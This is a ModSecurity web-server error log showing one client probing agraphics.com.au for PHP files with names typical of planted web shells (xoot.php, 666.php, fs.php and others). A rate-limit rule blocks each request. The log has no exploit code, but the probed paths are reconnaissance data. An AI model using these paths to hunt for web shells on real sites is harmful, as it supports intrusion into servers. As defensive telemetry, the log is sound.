[Tue May 26 22:38:08.434173 2026] [:error] [pid 43701:tid 43724] [client 20.63.34.22:14207] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "ahWwUIWtVI_UGrhtwKAhGwAAAVU"]
[Tue May 26 22:38:08.877216 2026] [:error] [pid 36497:tid 36522] [client 20.63.34.22:14108] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "ahWwULjKQWM1gBmBY4hKcAAAAMw"]
[Tue May 26 22:38:09.292341 2026] [:error] [pid 33977:tid 33985] [client 20.63.34.22:14183] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xoot.php"] [unique_id "ahWwUe9cnSDNAU9sYPgb_QAAAAU"]
[Tue May 26 22:38:09.710585 2026] [:error] [pid 33886:tid 33900] [client 20.63.34.22:14185] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xoot.php"] [unique_id "ahWwUbBYzgp5rPVdHcXAhAAAAEk"]
[Tue May 26 22:38:10.212972 2026] [:error] [pid 43701:tid 43712] [client 20.63.34.22:14332] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xoot.php"] [unique_id "ahWwUoWtVI_UGrhtwKAhHQAAAUk"]
[Tue May 26 22:38:10.626934 2026] [:error] [pid 36497:tid 36526] [client 20.63.34.22:14208] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xoot.php"] [unique_id "ahWwUrjKQWM1gBmBY4hKcgAAANA"]
[Tue May 26 22:38:11.075036 2026] [:error] [pid 33887:tid 33919] [client 20.63.34.22:14248] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vgtyu.php"] [unique_id "ahWwU9COI_FV7meOxGdZzwAAAIA"]
[Tue May 26 22:38:11.546551 2026] [:error] [pid 33887:tid 33943] [client 20.63.34.22:14196] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vgtyu.php"] [unique_id "ahWwU9COI_FV7meOxGdZ0QAAAJg"]
[Tue May 26 22:38:12.019187 2026] [:error] [pid 33887:tid 33923] [client 20.63.34.22:14260] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vgtyu.php"] [unique_id "ahWwVNCOI_FV7meOxGdZ1AAAAIQ"]
[Tue May 26 22:38:12.478493 2026] [:error] [pid 33977:tid 33994] [client 20.63.34.22:14154] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vgtyu.php"] [unique_id "ahWwVO9cnSDNAU9sYPgcAQAAAA4"]
[Tue May 26 22:38:12.965085 2026] [:error] [pid 33977:tid 33989] [client 20.63.34.22:14249] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/06.php"] [unique_id "ahWwVO9cnSDNAU9sYPgcAgAAAAk"]
[Tue May 26 22:38:13.401640 2026] [:error] [pid 33977:tid 33993] [client 20.63.34.22:14144] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/06.php"] [unique_id "ahWwVe9cnSDNAU9sYPgcBAAAAA0"]
[Tue May 26 22:38:13.870382 2026] [:error] [pid 33887:tid 33926] [client 20.63.34.22:14116] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/06.php"] [unique_id "ahWwVdCOI_FV7meOxGdZ1QAAAIc"]
[Tue May 26 22:38:14.402975 2026] [:error] [pid 33886:tid 33907] [client 20.63.34.22:14198] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/06.php"] [unique_id "ahWwVrBYzgp5rPVdHcXAiwAAAFA"]
[Tue May 26 22:38:14.884630 2026] [:error] [pid 33886:tid 33896] [client 20.63.34.22:14167] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "ahWwVrBYzgp5rPVdHcXAjQAAAEU"]
[Tue May 26 22:38:15.380308 2026] [:error] [pid 33886:tid 33904] [client 20.63.34.22:14175] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "ahWwV7BYzgp5rPVdHcXAkAAAAE0"]
[Tue May 26 22:38:15.807441 2026] [:error] [pid 33977:tid 33995] [client 20.63.34.22:14171] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "ahWwV-9cnSDNAU9sYPgcBwAAAA8"]
[Tue May 26 22:38:16.279858 2026] [:error] [pid 36497:tid 36531] [client 20.63.34.22:14290] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/erty.php"] [unique_id "ahWwWLjKQWM1gBmBY4hKgQAAANU"]
[Tue May 26 22:38:16.814209 2026] [:error] [pid 33887:tid 33921] [client 20.63.34.22:14255] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "ahWwWNCOI_FV7meOxGdZ3QAAAII"]
[Tue May 26 22:38:17.397885 2026] [:error] [pid 43701:tid 43705] [client 20.63.34.22:14261] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "ahWwWYWtVI_UGrhtwKAhJQAAAUI"]
[Tue May 26 22:38:18.100502 2026] [:error] [pid 43701:tid 43721] [client 20.63.34.22:14088] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "ahWwWoWtVI_UGrhtwKAhKAAAAVI"]
[Tue May 26 22:38:18.701718 2026] [:error] [pid 43701:tid 43707] [client 20.63.34.22:14186] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "ahWwWoWtVI_UGrhtwKAhKwAAAUQ"]
[Tue May 26 22:38:19.205134 2026] [:error] [pid 43701:tid 43710] [client 20.63.34.22:14262] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "ahWwW4WtVI_UGrhtwKAhMAAAAUc"]
[Tue May 26 22:38:19.624222 2026] [:error] [pid 43701:tid 43713] [client 20.63.34.22:14206] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "ahWwW4WtVI_UGrhtwKAhMgAAAUo"]
[Tue May 26 22:38:20.310297 2026] [:error] [pid 43701:tid 43721] [client 20.63.34.22:14251] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "ahWwXIWtVI_UGrhtwKAhNgAAAVI"]
[Tue May 26 22:38:20.880366 2026] [:error] [pid 33886:tid 33911] [client 20.63.34.22:14036] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "ahWwXLBYzgp5rPVdHcXAlQAAAFQ"]
[Tue May 26 22:38:21.630330 2026] [:error] [pid 43701:tid 43717] [client 20.63.34.22:14193] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ahWwXYWtVI_UGrhtwKAhOQAAAU4"]
[Tue May 26 22:38:22.614538 2026] [:error] [pid 33888:tid 33956] [client 20.63.34.22:14093] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ahWwXjqzTeoxiinZsGEwPwAAAQo"]
[Tue May 26 22:38:23.544383 2026] [:error] [pid 33886:tid 33902] [client 20.63.34.22:14163] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ahWwX7BYzgp5rPVdHcXAnQAAAEs"]
[Tue May 26 22:38:24.117946 2026] [:error] [pid 33886:tid 33894] [client 20.63.34.22:14194] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ahWwYLBYzgp5rPVdHcXAoAAAAEM"]
[Tue May 26 22:38:24.624570 2026] [:error] [pid 33886:tid 33907] [client 20.63.34.22:14312] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "ahWwYLBYzgp5rPVdHcXApAAAAFA"]
[Tue May 26 22:38:25.037419 2026] [:error] [pid 33886:tid 33896] [client 20.63.34.22:14118] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "ahWwYbBYzgp5rPVdHcXApwAAAEU"]
[Tue May 26 22:38:25.474315 2026] [:error] [pid 33886:tid 33900] [client 20.63.34.22:14185] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "ahWwYbBYzgp5rPVdHcXAqwAAAEk"]
[Tue May 26 22:38:25.974700 2026] [:error] [pid 43701:tid 43713] [client 20.63.34.22:14160] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "ahWwYYWtVI_UGrhtwKAhPAAAAUo"]
[Tue May 26 22:38:26.450927 2026] [:error] [pid 36497:tid 36513] [client 20.63.34.22:14158] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pouhg.php"] [unique_id "ahWwYrjKQWM1gBmBY4hKjQAAAMM"]
[Tue May 26 22:38:26.927581 2026] [:error] [pid 36497:tid 36518] [client 20.63.34.22:14178] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pouhg.php"] [unique_id "ahWwYrjKQWM1gBmBY4hKjgAAAMg"]
[Tue May 26 22:38:27.490959 2026] [:error] [pid 33887:tid 33938] [client 20.63.34.22:14203] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pouhg.php"] [unique_id "ahWwY9COI_FV7meOxGdZ4wAAAJM"]
[Tue May 26 22:38:28.200201 2026] [:error] [pid 36497:tid 36520] [client 20.63.34.22:14117] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pouhg.php"] [unique_id "ahWwZLjKQWM1gBmBY4hKkwAAAMo"]
[Tue May 26 22:38:28.651778 2026] [:error] [pid 36497:tid 36529] [client 20.63.34.22:14200] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "ahWwZLjKQWM1gBmBY4hKmAAAANM"]
[Tue May 26 22:38:29.073886 2026] [:error] [pid 33977:tid 34000] [client 20.63.34.22:14027] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "ahWwZe9cnSDNAU9sYPgcDgAAABQ"]
[Tue May 26 22:38:29.580937 2026] [:error] [pid 36497:tid 36527] [client 20.63.34.22:14182] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "ahWwZbjKQWM1gBmBY4hKmwAAANE"]
[Tue May 26 22:38:30.011366 2026] [:error] [pid 36497:tid 36526] [client 20.63.34.22:14302] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "ahWwZrjKQWM1gBmBY4hKnwAAANA"]
[Tue May 26 22:38:30.465687 2026] [:error] [pid 43701:tid 43726] [client 20.63.34.22:14138] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "ahWwZoWtVI_UGrhtwKAhQQAAAVc"]
[Tue May 26 22:38:31.043900 2026] [:error] [pid 33888:tid 33954] [client 20.63.34.22:14040] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "ahWwZzqzTeoxiinZsGEwRgAAAQg"]
[Tue May 26 22:38:32.055674 2026] [:error] [pid 33977:tid 33982] [client 20.63.34.22:14263] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "ahWwaO9cnSDNAU9sYPgcDwAAAAI"]
[Tue May 26 22:38:32.615950 2026] [:error] [pid 43701:tid 43712] [client 20.63.34.22:14192] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "ahWwaIWtVI_UGrhtwKAhSAAAAUk"]